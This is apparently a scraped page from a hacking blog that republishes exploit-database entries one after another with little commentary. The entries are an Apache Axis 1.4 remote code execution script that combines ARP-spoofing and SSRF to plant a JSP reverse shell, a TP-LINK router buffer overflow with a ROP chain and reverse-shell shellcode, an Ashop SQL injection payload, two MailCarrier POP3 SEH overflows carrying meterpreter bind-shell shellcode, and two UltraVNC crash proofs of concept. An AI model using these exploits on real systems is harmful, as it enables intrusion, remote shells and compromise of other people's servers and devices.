Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863591796

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
#	Apache Axis 1.4 Remote Code Execution CVE-2019-0227                                             #
#https://rhinosecuritylabs.com/Application-Security/CVE-2019-0227-Expired-Domain-to-RCE-in-Apache-Axis  #
#	Author: David Yesland @daveysec, Rhino Security Labs				                #
#	This exploits Apache Axis < 1.4 to upload and execute a JSP payload using MITM                  #
#	by forcing an http request using the default StockQuoteService.jws service.                     #
#       You need to be on the same network as the Axis server to make this work.                        #
#	A lot of this exploit is based on the research from:                                            #
#	https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce                                      #
#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#

import SimpleHTTPServer
import SocketServer
import subprocess
from time import sleep
import thread
import requests
from urllib import quote_plus
import sys

#Usage: python CVE-2019-0227.py shell.jsp

#You need to change these variable to match your configuration
myip = "192.168.0.117" #IP of your machine
target = "192.168.0.102" #IP of target
gateway = "192.168.0.1" #default gateway
targetport = "8080" #Port of target running axis (probably 8080)
pathtoaxis = "http://192.168.0.102:8080/axis" #This can be custom depending on the Axis install, but this is default
spoofinterface = "eth0" #Interface for arpspoofing
jspwritepath = "webapps\\axis\\exploit.jsp" #relative path on the target to write the JSP payload This is the default on a Tomcat install

#msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
payloadfile = open(sys.argv[1],'r').read() #Some file containing a JSP payload

#craft URL to deploy a service as described here https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce
deployurl = 'http://localhost:'+targetport+'/axis/services/AdminService?method=%21--%3E%3Cns1%3Adeployment+xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22+xmlns%3Ajava%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2Fproviders%2Fjava%22+xmlns%3Ans1%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22%3E%3Cns1%3Aservice+name%3D%22exploitservice%22+provider%3D%22java%3ARPC%22%3E%3CrequestFlow%3E%3Chandler+type%3D%22RandomLog%22%2F%3E%3C%2FrequestFlow%3E%3Cns1%3Aparameter+name%3D%22className%22+value%3D%22java.util.Random%22%2F%3E%3Cns1%3Aparameter+name%3D%22allowedMethods%22+value%3D%22%2A%22%2F%3E%3C%2Fns1%3Aservice%3E%3Chandler+name%3D%22RandomLog%22+type%3D%22java%3Aorg.apache.axis.handlers.LogHandler%22+%3E%3Cparameter+name%3D%22LogHandler.fileName%22+value%3D%22'+quote_plus(jspwritepath)+'%22+%2F%3E%3Cparameter+name%3D%22LogHandler.writeToConsole%22+value%3D%22false%22+%2F%3E%3C%2Fhandler%3E%3C%2Fns1%3Adeployment'

#craft URL to undeploy a service as described here https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce
undeployurl = 'http://localhost:'+targetport+'/axis/services/AdminService?method=%21--%3E%3Cns1%3Aundeployment+xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22+xmlns%3Ans1%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22%3E%3Cns1%3Aservice+name%3D%22exploitservice%22%2F%3E%3C%2Fns1%3Aundeployment'


def CreateJsp(pathtoaxis,jsppayload):
    url = pathtoaxis+"/services/exploitservice"
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1", "SOAPAction": "something", "Content-Type": "text/xml;charset=UTF-8"}
    data="<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n        <soapenv:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\r\n        xmlns:api=\"http://127.0.0.1/Integrics/Enswitch/API\"\r\n        xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"\r\n        xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\">\r\n        <soapenv:Body>\r\n        <api:main\r\n        soapenv:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\r\n            <api:in0><![CDATA[\r\n"+jsppayload+"\r\n]]>\r\n            </api:in0>\r\n        </api:main>\r\n  </soapenv:Body>\r\n</soapenv:Envelope>"
    requests.post(url, headers=headers, data=data)

def TriggerSSRF(pathtoaxis):
    url = pathtoaxis+"/StockQuoteService.jws"
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1", "SOAPAction": "", "Content-Type": "text/xml;charset=UTF-8"}
    data="<soapenv:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:def=\"http://DefaultNamespace\">\r\n   <soapenv:Header/>\r\n   <soapenv:Body>\r\n      <def:getQuote soapenv:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\r\n         <symbol xsi:type=\"xsd:string\">dwas</symbol>\r\n      </def:getQuote>\r\n   </soapenv:Body>\r\n</soapenv:Envelope>"
    requests.post(url, headers=headers, data=data)


def StartMitm(interface,target,gateway):
	subprocess.Popen("echo 1 > /proc/sys/net/ipv4/ip_forward",shell=True)#Enable forwarding
	subprocess.Popen("arpspoof -i {} -t {} {}".format(interface,target,gateway),shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)#spoof target -> gateway
	subprocess.Popen("iptables -t nat -A PREROUTING -p tcp --dport 80 -j NETMAP --to {}".format(myip),shell=True)#use iptable to redirect back to our web server


def KillMitm(target,myip):
	subprocess.Popen("pkill arpspoof",shell=True)
	subprocess.Popen("echo 0 > /proc/sys/net/ipv4/ip_forward",shell=True)
	subprocess.Popen("iptables -t nat -D PREROUTING -p tcp --dport 80 -j NETMAP --to {}".format(myip),shell=True)


def SSRFRedirect(new_path):
	class myHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
	   def do_GET(self):
	       self.send_response(301)
	       self.send_header('Location', new_path)
	       self.end_headers()
	PORT = 80
	SocketServer.TCPServer.allow_reuse_address = True
	handler = SocketServer.TCPServer(("", PORT), myHandler)
	print "[+] Waiting to redirect"
	handler.handle_request()
	print "[+] Payload URL sent"


def ExecuteJsp(pathtoaxis):
	subprocess.Popen("curl "+pathtoaxis+"/exploit.jsp",shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

print "[+] Starting MITM"
StartMitm(spoofinterface,target,gateway)
sleep(2)

print "[+] Starting web server for SSRF"
thread.start_new_thread(SSRFRedirect,(deployurl,))

print "[+] Using StockQuoteService.jws to trigger SSRF"
TriggerSSRF(pathtoaxis)
print "[+] Waiting 3 seconds for incoming request"
sleep(3)

print "[+] Writing JSP payload"
CreateJsp(pathtoaxis,payloadfile)

print "[+] Cleaning up exploit service"
thread.start_new_thread(SSRFRedirect,(undeployurl,))
TriggerSSRF(pathtoaxis)

print "[+] Cleaning up man in the middle"
KillMitm(target,myip)

print "[+] Waiting 2 seconds for JSP write"
sleep(2)
ExecuteJsp(pathtoaxis)

print "[+] Default URL to the jsp payload:"
print pathtoaxis+"/exploit.jsp"
            
#Author Grzegorz Wypych - h0rac
# TP-LINK TL-WR940N/TL-WR941ND buffer overflow remote shell exploit

import requests
import md5
import base64
import string
import struct
import socket

password = md5.new('admin').hexdigest()
cookie = base64.b64encode('admin:'+password)

print '[+] Authorization cookie: ', cookie
print '[+] Login to generate user directory...'
#proxy = {'http':'127.0.0.1:8080'}

loginUrl = 'http://192.168.0.1/userRpm/LoginRpm.htm?Save=Save'
headers = {'cookie':'Authorization=Basic%20'+cookie.replace('=', '%3D')}
req = requests.get(loginUrl, headers=headers)
directory = ''

nop = "\x27\xE0\xFF\xFF"

shellcode = string.join([
		"\x24\x0f\xff\xfa", # li	t7,-6
		"\x01\xe0\x78\x27", # nor	t7,t7,zero
		"\x21\xe4\xff\xfd", # addi	a0,t7,-3
		"\x21\xe5\xff\xfd", # addi	a1,t7,-3
		"\x28\x06\xff\xff", # slti	a2,zero,-1
		"\x24\x02\x10\x57", # li	v0,4183
		"\x01\x01\x01\x0c", # syscall	0x40404
		"\xaf\xa2\xff\xff", # sw	v0,-1(sp)
		"\x8f\xa4\xff\xff", # lw	a0,-1(sp)
		"\x34\x0f\xff\xfd", # li	t7,0xfffd
		"\x01\xe0\x78\x27", # nor	t7,t7,zero
		"\xaf\xaf\xff\xe0", # sw	t7,-32(sp)
		"\x3c\x0e\x1f\x90", # lui	t6,0x1f90
		"\x35\xce\x1f\x90", # ori	t6,t6,0x1f90
		"\xaf\xae\xff\xe4", # sw	t6,-28(sp)

		# Big endian IP address 172.28.128.4
                "\x3c\x0e\xc0\xA8"  # lui       t6,0x7f01
		#"\xac\x1c\x80\x04", # lui	t6,0x7f01
		"\x35\xce\x01\x64", # ori	t6,t6,0x101

		"\xaf\xae\xff\xe6", # sw	t6,-26(sp)
		"\x27\xa5\xff\xe2", # addiu	a1,sp,-30
		"\x24\x0c\xff\xef", # li	t4,-17
		"\x01\x80\x30\x27", # nor	a2,t4,zero
		"\x24\x02\x10\x4a", # li	v0,4170
		"\x01\x01\x01\x0c", # syscall	0x40404
		"\x24\x0f\xff\xfd", # li	t7,-3
		"\x01\xe0\x78\x27", # nor	t7,t7,zero
		"\x8f\xa4\xff\xff", # lw	a0,-1(sp)
		"\x01\xe0\x28\x21", # move	a1,t7
		"\x24\x02\x0f\xdf", # li	v0,4063
		"\x01\x01\x01\x0c", # syscall	0x40404
		"\x24\x10\xff\xff", # li	s0,-1
		"\x21\xef\xff\xff", # addi	t7,t7,-1
		"\x15\xf0\xff\xfa", # bne	t7,s0,68 <dup2_loop>
		"\x28\x06\xff\xff", # slti	a2,zero,-1
		"\x3c\x0f\x2f\x2f", # lui	t7,0x2f2f
		"\x35\xef\x62\x69", # ori	t7,t7,0x6269
		"\xaf\xaf\xff\xec", # sw	t7,-20(sp)
		"\x3c\x0e\x6e\x2f", # lui	t6,0x6e2f
		"\x35\xce\x73\x68", # ori	t6,t6,0x7368
		"\xaf\xae\xff\xf0", # sw	t6,-16(sp)
		"\xaf\xa0\xff\xf4", # sw	zero,-12(sp)
		"\x27\xa4\xff\xec", # addiu	a0,sp,-20
		"\xaf\xa4\xff\xf8", # sw	a0,-8(sp)
		"\xaf\xa0\xff\xfc", # sw	zero,-4(sp)
		"\x27\xa5\xff\xf8", # addiu	a1,sp,-8
		"\x24\x02\x0f\xab", # li	v0,4011
		"\x01\x01\x01\x0c"  # syscall	0x40404
            ], '')

libcBase= 0x77f53000
sleep = libcBase + 0x53CA0
gadget1 = libcBase + 0x00055c60 # addiu $a0, $zero, 1; move $t9, $s1; jalr $t9;
gadget2 = libcBase + 0x00024ecc #lw $ra, 0x2c($sp); lw $s1, 0x28($sp); lw $s0, 0x24($sp); jr $ra;
gadget3 = libcBase + 0x0001e20c # move $t9, $s1; lw $ra, 0x24($sp); lw $s2, 0x20($sp); lw $s1, 0x1c($sp); lw $s0, 0x18($sp); jr $t9
gadget4 = libcBase + 0x000195f4 #addiu $s0, $sp, 0x24; move $a0, $s0; move $t9, $s1; jalr $t9; 
gadget5 = libcBase + 0x000154d8 # #move $t9, $s0; jalr $t9; 


print "[+] First gadget address: ", hex(gadget1)
print "[+] Second gadget address: ", hex(gadget2) 
print "[+] Third gadget address: ", hex(gadget3)
print "[+] Fourth gadget address: ", hex(gadget4)
print "[+] Fifth gadget address: ", hex(gadget4)
print "[+] Sleep function address: ", hex(sleep)  
payload = "A"*160
s0 = "BBBB"
s1 = gadget2
payload += s0
payload += struct.pack('>I', s1)
payload += struct.pack('>I', gadget1) #Overwrite RA address
#New stack for gadget 2 starts
payload += "E" * 20 # adjust stack
payload += "FFFF" #gadget3 -> lw $s0, 0x18($sp) => 24 bytes
payload += "GGGG" #gadget3 -> lw $s1, 0x1c($sp) => 28 bytes
payload += "HHHH" #gadget3 -> lw $s2, 0x20($sp) => 32 bytes
payload += "AAAA"
payload += "CCCC"
payload += struct.pack('>I', sleep) #gadget2 -> lw $s1, 0x28($sp) => 40 bytes
payload += struct.pack('>I', gadget3) #gadget2 -> lw $ra, 0x2c($sp) => 44 bytes
#New stack for gadget 3 starts
payload += "G" *24
payload += "A"* 4 #lw $s0, 0x18($sp); sp + 24 bytes = s0
payload += struct.pack('>I', gadget5)#lw $s1, 0x1c($sp); sp + 28 bytes = s1 <= load gadget 5 addr
payload += "C" *4 #lw $s2, 0x20($sp); sp + 32 bytes = s2
payload += struct.pack('>I', gadget4) #lw $ra, 0x24($sp); sp + 36 bytes = ra <= load gadget 4 addr
#New stack for gadget 4 starts
payload += nop * 32  
payload += shellcode #addiu $s0, $sp, 0x24; sp + 36 bytes = s0

if(req.status_code):
    directory = req.text.split('=')[2].split('/')[3]
    print '[+] Retrieved folder name: ', directory
    req.close() 
    referer ='http://192.168.0.1/{0}/userRpm/DiagnosticRpm.htm'.format(directory)
  
    host = '192.168.0.1'
    port = 80

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    print "[*] Connected, sending payload {0} bytes...".format(len(payload))
    pingUrl = '{1}/userRpm/PingIframeRpm.htm'.format(host,directory)
    pingUrl += '?ping_addr='+payload+'&doType=ping&isNew=new&sendNum=4&psize=64&overTime=800&trHops=20'
    auth = 'Authorization=Basic%20'+cookie.replace('=', '%3D')
    pingReq = "GET /{0} HTTP/1.1\r\nHost: {1}\r\nReferer: {2}\r\ncookie: {3}\r\n\r\n".format(pingUrl, host, referer, auth)
    print "[+] Exploit request: {0}".format(pingReq)
    s.send(pingReq)
    s.recv(4096)
    s.close()
else:
    req.close()
            
# Exploit Title: Ashop Shopping Cart Software - SQL Injection
# Date: 08.04.2019
# Exploit Author: Doğukan Karaciğer
# Vendor Homepage: http://www.ashopsoftware.com
# Software Link: https://sourceforge.net/projects/ashop/
# Demo Site: http://demo.ashopsoftware.com/
# Version: Lastest
# Tested on: Ubuntu-trusty-64
# CVE: N/A

----- PoC: SQLi -----

Request: http://localhost/[PATH]/admin/bannedcustomers.php
Parameter: blacklistitemid (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: blacklistitem=1&deletebutton=Delete&blacklistitemid=1 AND (SELECT
* FROM (SELECT(SLEEP(5)))MGvE)
            
#!/usr/bin/python
# Exploit Title: MailCarrier 2.51 - SEH Remote Buffer Overflow in "TOP" command(POP3)
# Date: 14/04/2019
# Exploit Author: Dino Covotsos - Telspace Systems
# Vendor Homepage: https://www.tabslab.com/
# Version: 2.51
# Software Link: N.A
# Contact: services[@]telspace.co.za
# Twitter: @telspacesystems (Greets to the Telspace Crew)
# Tested on: Windows XP Prof SP3 ENG x86
# CVE: TBC from Mitre
# Created for the Telspace Internship 2019 - SEH Exploit
# POC
# 1.) Change ip, username, password and port in code
# 2.) Run script against target, meterpreter bind shell waiting for you on port 443 on the target machine
#0x1b0d110c : pop ecx # pop ecx # ret 0x08 | ascii {PAGE_EXECUTE_READ} [msjet40.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v4.00.9514.0 (C:\WINDOWS\system32\msjet40.dll)
#crash at 6175
import sys
import socket
import time

#msfvenom -a x86 --platform windows -p windows/meterpreter/bind_tcp LPORT=443 -e x86/alpha_mixed -b "\x00\xd5\x0a\x0d\x1a\x03" -f c
shellcode = ("\x89\xe1\xdb\xcb\xd9\x71\xf4\x58\x50\x59\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a"
"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32"
"\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
"\x69\x6c\x78\x68\x6f\x72\x47\x70\x37\x70\x53\x30\x31\x70\x4f"
"\x79\x58\x65\x66\x51\x49\x50\x50\x64\x4c\x4b\x50\x50\x56\x50"
"\x4e\x6b\x56\x32\x74\x4c\x6e\x6b\x50\x52\x36\x74\x6c\x4b\x63"
"\x42\x36\x48\x66\x6f\x58\x37\x52\x6a\x35\x76\x76\x51\x69\x6f"
"\x6c\x6c\x35\x6c\x51\x71\x33\x4c\x75\x52\x64\x6c\x47\x50\x69"
"\x51\x4a\x6f\x34\x4d\x37\x71\x38\x47\x58\x62\x6c\x32\x62\x72"
"\x70\x57\x6c\x4b\x52\x72\x42\x30\x4e\x6b\x53\x7a\x65\x6c\x6e"
"\x6b\x30\x4c\x42\x31\x33\x48\x78\x63\x31\x58\x55\x51\x4b\x61"
"\x66\x31\x6c\x4b\x50\x59\x37\x50\x67\x71\x38\x53\x6e\x6b\x33"
"\x79\x65\x48\x6a\x43\x75\x6a\x62\x69\x6c\x4b\x56\x54\x6e\x6b"
"\x37\x71\x38\x56\x55\x61\x39\x6f\x4c\x6c\x4a\x61\x78\x4f\x46"
"\x6d\x37\x71\x49\x57\x66\x58\x69\x70\x31\x65\x6b\x46\x55\x53"
"\x51\x6d\x69\x68\x65\x6b\x61\x6d\x51\x34\x74\x35\x6a\x44\x70"
"\x58\x6c\x4b\x30\x58\x55\x74\x65\x51\x6b\x63\x61\x76\x6e\x6b"
"\x76\x6c\x30\x4b\x6e\x6b\x71\x48\x47\x6c\x33\x31\x7a\x73\x4c"
"\x4b\x55\x54\x6c\x4b\x77\x71\x6e\x30\x4b\x39\x32\x64\x34\x64"
"\x36\x44\x61\x4b\x51\x4b\x45\x31\x30\x59\x52\x7a\x42\x71\x59"
"\x6f\x69\x70\x53\x6f\x33\x6f\x72\x7a\x4c\x4b\x34\x52\x78\x6b"
"\x6c\x4d\x63\x6d\x71\x78\x50\x33\x77\x42\x55\x50\x53\x30\x33"
"\x58\x70\x77\x70\x73\x30\x32\x31\x4f\x61\x44\x42\x48\x30\x4c"
"\x54\x37\x76\x46\x34\x47\x59\x6f\x78\x55\x78\x38\x4c\x50\x33"
"\x31\x65\x50\x35\x50\x35\x79\x48\x44\x50\x54\x30\x50\x75\x38"
"\x56\x49\x6f\x70\x62\x4b\x75\x50\x69\x6f\x68\x55\x73\x5a\x74"
"\x4b\x42\x79\x62\x70\x79\x72\x59\x6d\x53\x5a\x63\x31\x52\x4a"
"\x67\x72\x65\x38\x6b\x5a\x74\x4f\x79\x4f\x69\x70\x69\x6f\x48"
"\x55\x5a\x37\x31\x78\x44\x42\x73\x30\x33\x31\x4d\x6b\x6e\x69"
"\x38\x66\x70\x6a\x76\x70\x70\x56\x72\x77\x53\x58\x6f\x32\x59"
"\x4b\x46\x57\x73\x57\x39\x6f\x38\x55\x6d\x55\x39\x50\x43\x45"
"\x61\x48\x53\x67\x65\x38\x4e\x57\x59\x79\x66\x58\x4b\x4f\x6b"
"\x4f\x59\x45\x43\x67\x75\x38\x51\x64\x58\x6c\x77\x4b\x39\x71"
"\x69\x6f\x49\x45\x32\x77\x4d\x47\x42\x48\x43\x45\x32\x4e\x52"
"\x6d\x50\x61\x4b\x4f\x39\x45\x52\x4a\x67\x70\x53\x5a\x74\x44"
"\x73\x66\x42\x77\x53\x58\x43\x32\x7a\x79\x39\x58\x63\x6f\x79"
"\x6f\x6e\x35\x4d\x53\x4c\x38\x65\x50\x73\x4e\x46\x4d\x4e\x6b"
"\x66\x56\x30\x6a\x57\x30\x65\x38\x33\x30\x62\x30\x77\x70\x75"
"\x50\x63\x66\x70\x6a\x65\x50\x52\x48\x61\x48\x39\x34\x61\x43"
"\x69\x75\x69\x6f\x38\x55\x7a\x33\x50\x53\x31\x7a\x45\x50\x66"
"\x36\x51\x43\x76\x37\x31\x78\x43\x32\x69\x49\x6f\x38\x51\x4f"
"\x4b\x4f\x39\x45\x4d\x53\x69\x68\x43\x30\x63\x4e\x73\x37\x67"
"\x71\x4a\x63\x44\x69\x5a\x66\x73\x45\x38\x69\x6a\x63\x6f\x4b"
"\x4a\x50\x4c\x75\x4e\x42\x42\x76\x33\x5a\x37\x70\x63\x63\x69"
"\x6f\x78\x55\x41\x41")

buffer = "A" * 6175 + "\xeb\x11\x90\x90" + "\x0c\x11\x0d\x1b" + "\x90" * 20 + shellcode + "D" * (10000-6883)

print "[*] Mail Server 2.51 POP3 Buffer Overflow in TOP command\r\n"
print "[*] Sending pwnage buffer: with %s bytes..." %len(buffer)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(("192.168.0.150", 110))
print s.recv(1024)
print "[*] Sending USERNAME\r\n"
s.send('USER test' + '\r\n')
print s.recv(1024)
print "[*] Sending PASSWORD\r\n"
s.send('PASS test' + '\r\n')
print s.recv(1024)
print "[*] Sending TOP command plus evil buffer\r\n"
s.send('TOP ' + buffer + '\r\n')
s.send('QUIT\r\n')
s.close()
time.sleep(1)
print "[*] Done, check for meterpreter shell on port 443 of the target!"
            
#Exploit Title: UltraVNC Viewer 1.2.2.4 - Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-04-14
#Vendor Homepage: https://www.uvnc.com/
#Software Link: https://www.uvnc.com/downloads/ultravnc/126-download-ultravnc-1224.html
#Tested Version: 1.2.2.4
#Tested on: Windows 7 x64 Service Pack 1

#Steps to produce the crash:
#1.- Run python code: UltraVNC_Viewer_1.2.2.4.py
#2.- Open UltraViewer.txt and copy content to clipboard
#3.- Open UltraVNC Viewer 
#4.- In "VNC Server" Paste Clipboard
#5.- Click on "Connect"
#6.- Crashed

cod = "\x41" * 256

f = open('UltraViewer.txt', 'w')
f.write(cod)
f.close()
            
#!/usr/bin/python
# Exploit Title: MailCarrier 2.51 - SEH Remote Buffer Overflow in "LIST" command(POP3)
# Date: 14/04/2019
# Exploit Author: Dino Covotsos - Telspace Systems
# Vendor Homepage: https://www.tabslab.com/
# Version: 2.51
# Software Link: N.A
# Contact: services[@]telspace.co.za
# Twitter: @telspacesystems (Greets to the Telspace Crew)
# Tested on: Windows XP Prof SP3 ENG x86
# CVE: TBC from Mitre
# Created for the Telspace Internship 2019 - SEH Exploit
# POC
# 1.) Change ip, username, password and port in code
# 2.) Run script against target, meterpreter bind shell waiting for you on port 443 on the target machine
#0x1b0d110c : pop ecx # pop ecx # ret 0x08 | ascii {PAGE_EXECUTE_READ} [msjet40.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v4.00.9514.0 (C:\WINDOWS\system32\msjet40.dll)
#nseh 6178 seh 6182
import sys
import socket
import time

#msfvenom -a x86 --platform windows -p windows/meterpreter/bind_tcp LPORT=443 -e x86/alpha_mixed -b "\x00\xd5\x0a\x0d\x1a\x03" -f c
shellcode = ("\x89\xe1\xdb\xcb\xd9\x71\xf4\x58\x50\x59\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a"
"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32"
"\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
"\x69\x6c\x78\x68\x6f\x72\x47\x70\x37\x70\x53\x30\x31\x70\x4f"
"\x79\x58\x65\x66\x51\x49\x50\x50\x64\x4c\x4b\x50\x50\x56\x50"
"\x4e\x6b\x56\x32\x74\x4c\x6e\x6b\x50\x52\x36\x74\x6c\x4b\x63"
"\x42\x36\x48\x66\x6f\x58\x37\x52\x6a\x35\x76\x76\x51\x69\x6f"
"\x6c\x6c\x35\x6c\x51\x71\x33\x4c\x75\x52\x64\x6c\x47\x50\x69"
"\x51\x4a\x6f\x34\x4d\x37\x71\x38\x47\x58\x62\x6c\x32\x62\x72"
"\x70\x57\x6c\x4b\x52\x72\x42\x30\x4e\x6b\x53\x7a\x65\x6c\x6e"
"\x6b\x30\x4c\x42\x31\x33\x48\x78\x63\x31\x58\x55\x51\x4b\x61"
"\x66\x31\x6c\x4b\x50\x59\x37\x50\x67\x71\x38\x53\x6e\x6b\x33"
"\x79\x65\x48\x6a\x43\x75\x6a\x62\x69\x6c\x4b\x56\x54\x6e\x6b"
"\x37\x71\x38\x56\x55\x61\x39\x6f\x4c\x6c\x4a\x61\x78\x4f\x46"
"\x6d\x37\x71\x49\x57\x66\x58\x69\x70\x31\x65\x6b\x46\x55\x53"
"\x51\x6d\x69\x68\x65\x6b\x61\x6d\x51\x34\x74\x35\x6a\x44\x70"
"\x58\x6c\x4b\x30\x58\x55\x74\x65\x51\x6b\x63\x61\x76\x6e\x6b"
"\x76\x6c\x30\x4b\x6e\x6b\x71\x48\x47\x6c\x33\x31\x7a\x73\x4c"
"\x4b\x55\x54\x6c\x4b\x77\x71\x6e\x30\x4b\x39\x32\x64\x34\x64"
"\x36\x44\x61\x4b\x51\x4b\x45\x31\x30\x59\x52\x7a\x42\x71\x59"
"\x6f\x69\x70\x53\x6f\x33\x6f\x72\x7a\x4c\x4b\x34\x52\x78\x6b"
"\x6c\x4d\x63\x6d\x71\x78\x50\x33\x77\x42\x55\x50\x53\x30\x33"
"\x58\x70\x77\x70\x73\x30\x32\x31\x4f\x61\x44\x42\x48\x30\x4c"
"\x54\x37\x76\x46\x34\x47\x59\x6f\x78\x55\x78\x38\x4c\x50\x33"
"\x31\x65\x50\x35\x50\x35\x79\x48\x44\x50\x54\x30\x50\x75\x38"
"\x56\x49\x6f\x70\x62\x4b\x75\x50\x69\x6f\x68\x55\x73\x5a\x74"
"\x4b\x42\x79\x62\x70\x79\x72\x59\x6d\x53\x5a\x63\x31\x52\x4a"
"\x67\x72\x65\x38\x6b\x5a\x74\x4f\x79\x4f\x69\x70\x69\x6f\x48"
"\x55\x5a\x37\x31\x78\x44\x42\x73\x30\x33\x31\x4d\x6b\x6e\x69"
"\x38\x66\x70\x6a\x76\x70\x70\x56\x72\x77\x53\x58\x6f\x32\x59"
"\x4b\x46\x57\x73\x57\x39\x6f\x38\x55\x6d\x55\x39\x50\x43\x45"
"\x61\x48\x53\x67\x65\x38\x4e\x57\x59\x79\x66\x58\x4b\x4f\x6b"
"\x4f\x59\x45\x43\x67\x75\x38\x51\x64\x58\x6c\x77\x4b\x39\x71"
"\x69\x6f\x49\x45\x32\x77\x4d\x47\x42\x48\x43\x45\x32\x4e\x52"
"\x6d\x50\x61\x4b\x4f\x39\x45\x52\x4a\x67\x70\x53\x5a\x74\x44"
"\x73\x66\x42\x77\x53\x58\x43\x32\x7a\x79\x39\x58\x63\x6f\x79"
"\x6f\x6e\x35\x4d\x53\x4c\x38\x65\x50\x73\x4e\x46\x4d\x4e\x6b"
"\x66\x56\x30\x6a\x57\x30\x65\x38\x33\x30\x62\x30\x77\x70\x75"
"\x50\x63\x66\x70\x6a\x65\x50\x52\x48\x61\x48\x39\x34\x61\x43"
"\x69\x75\x69\x6f\x38\x55\x7a\x33\x50\x53\x31\x7a\x45\x50\x66"
"\x36\x51\x43\x76\x37\x31\x78\x43\x32\x69\x49\x6f\x38\x51\x4f"
"\x4b\x4f\x39\x45\x4d\x53\x69\x68\x43\x30\x63\x4e\x73\x37\x67"
"\x71\x4a\x63\x44\x69\x5a\x66\x73\x45\x38\x69\x6a\x63\x6f\x4b"
"\x4a\x50\x4c\x75\x4e\x42\x42\x76\x33\x5a\x37\x70\x63\x63\x69"
"\x6f\x78\x55\x41\x41")

buffer = "A" * 6174 + "\xeb\x11\x90\x90" + "\x0c\x11\x0d\x1b" + "\x90" * 20 + shellcode + "D" * (3798-(len(shellcode)))

print "[*] MailCarrier 2.51 POP3 Buffer Overflow in LIST command\r\n"
print "[*] Sending pwnage buffer: with %s bytes..." %len(buffer)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(("192.168.0.150", 110))
print s.recv(1024)
print "[*] Sending USERNAME\r\n"
s.send('USER test' + '\r\n')
print s.recv(1024)
print "[*] Sending PASSWORD\r\n"
s.send('PASS test' + '\r\n')
print s.recv(1024)
print "[*] Sending Evil LIST buffer\r\n"
s.send('LIST ' + buffer + '\r\n')
print s.recv(1024)
s.send('QUIT\r\n')
s.close()
time.sleep(1)
print "[*] Done, but if you get here the exploit failed!"
            
#Exploit Title: UltraVNC Launcher 1.2.2.4 - Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-04-14
#Vendor Homepage: https://www.uvnc.com/
#Software Link: https://www.uvnc.com/downloads/ultravnc/126-download-ultravnc-1224.html
#Tested Version: 1.2.2.4
#Tested on: Windows 7 x64 Service Pack 1

#Steps to produce the crash:
#1.- Run python code: UltraVNC_Launcher_1.2.2.4.py
#2.- Open UltraLauncher.txt and copy content to clipboard
#3.- Open UltraVNC Launcher
#4.- Select "Properties"
#5.- In "Path vncviewer.exe" Paste Clipboard
#6.- Click on "OK"
#7.- Crashed

cod = "\x41" * 300

f = open('UltraLauncher.txt', 'w')
f.write(cod)
f.close()
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

